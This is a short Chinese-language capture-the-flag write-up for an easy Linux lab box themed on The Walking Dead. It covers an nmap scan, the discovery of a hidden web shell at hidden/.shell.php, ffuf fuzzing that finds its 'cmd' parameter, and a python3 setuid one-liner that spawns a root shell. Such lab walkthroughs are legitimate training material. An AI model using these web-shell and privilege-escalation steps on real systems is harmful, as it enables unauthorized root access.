《The Walking Dead》又叫做《行尸走肉》，是一部更了十多年的美剧，我是全部看完了的，刚好有这个靶机，那么肯定得打一下。
Box Info
| OS | Linux |
| Difficulty | Easy |
Nmap
[root@kali] /home/kali
❯ nmap 172.17.0.2 -sV -A -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 0d:09:9d:0f:dc:43:54:cd:39:a9:e2:d6:81:74:40:e8 (RSA)
| 256 09:d0:f6:52:00:3f:21:51:19:b1:c6:7a:f4:ff:21:01 (ECDSA)
|_ 256 19:e0:b3:72:bd:e9:1e:8d:4c:c4:fd:1f:da:3f:a5:cf (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: The Walking Dead - CTF访问网页，发现有一个隐藏的shell.php
[root@kali] /home/kali
❯ curl 172.17.0.2
<!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <title>The Walking Dead - CTF</title> <style> body { background-color: black; color: red; font-family: 'Courier New', monospace; text-align: center; margin: 0; padding: 0; height: 100vh; display: flex; flex-direction: column; justify-content: center; align-items: center; } h1 { font-size: 50px; text-shadow: 3px 3px 10px darkred; } p { font-size: 20px; } .blood-drip { font-size: 25px; text-shadow: 3px 3px 10px darkred; animation: blink 1s infinite alternate; } @keyframes blink { from { opacity: 1; } to { opacity: 0.5; } } audio { margin-top: 20px; } .hidden-link { display: none; } </style> </head> <body> <h1>The Walking Dead - CTF</h1> <p class="blood-drip">Survive... if you can.</p> <audio autoplay loop> <source src="walking_dead_theme.mp3" type="audio/mpeg"> Tu navegador no soporta el audio. </audio> <p class="hidden-link"><a href="hidden/.shell.php">Access Panel</a></p> </body> </html>Param Fuzz
尝试对参数进行爆破
[root@kali] /home/kali
❯ ffuf -u 'http://172.17.0.2/hidden/.shell.php?FUZZ=id' -w ./Desktop/fuzzDicts/paramDict/AllParam.txt -fs 0
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://172.17.0.2/hidden/.shell.php?FUZZ=id
:: Wordlist : FUZZ: /home/kali/Desktop/fuzzDicts/paramDict/AllParam.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 0
________________________________________________
cmd [Status: 200, Size: 54, Words: 3, Lines: 2, Duration: 3ms]
:: Progress: [74332/74332] :: Job [1/1] :: 18181 req/sec :: Duration: [0:00:04] :: Errors: 0 ::这里刚好试用一下群友推荐的工具
Linpeas
可以直接提权
/usr/bin/python3.8 -c 'import os;os.setuid(0);os.system("bash")'
Summary
似乎是有点太过简单了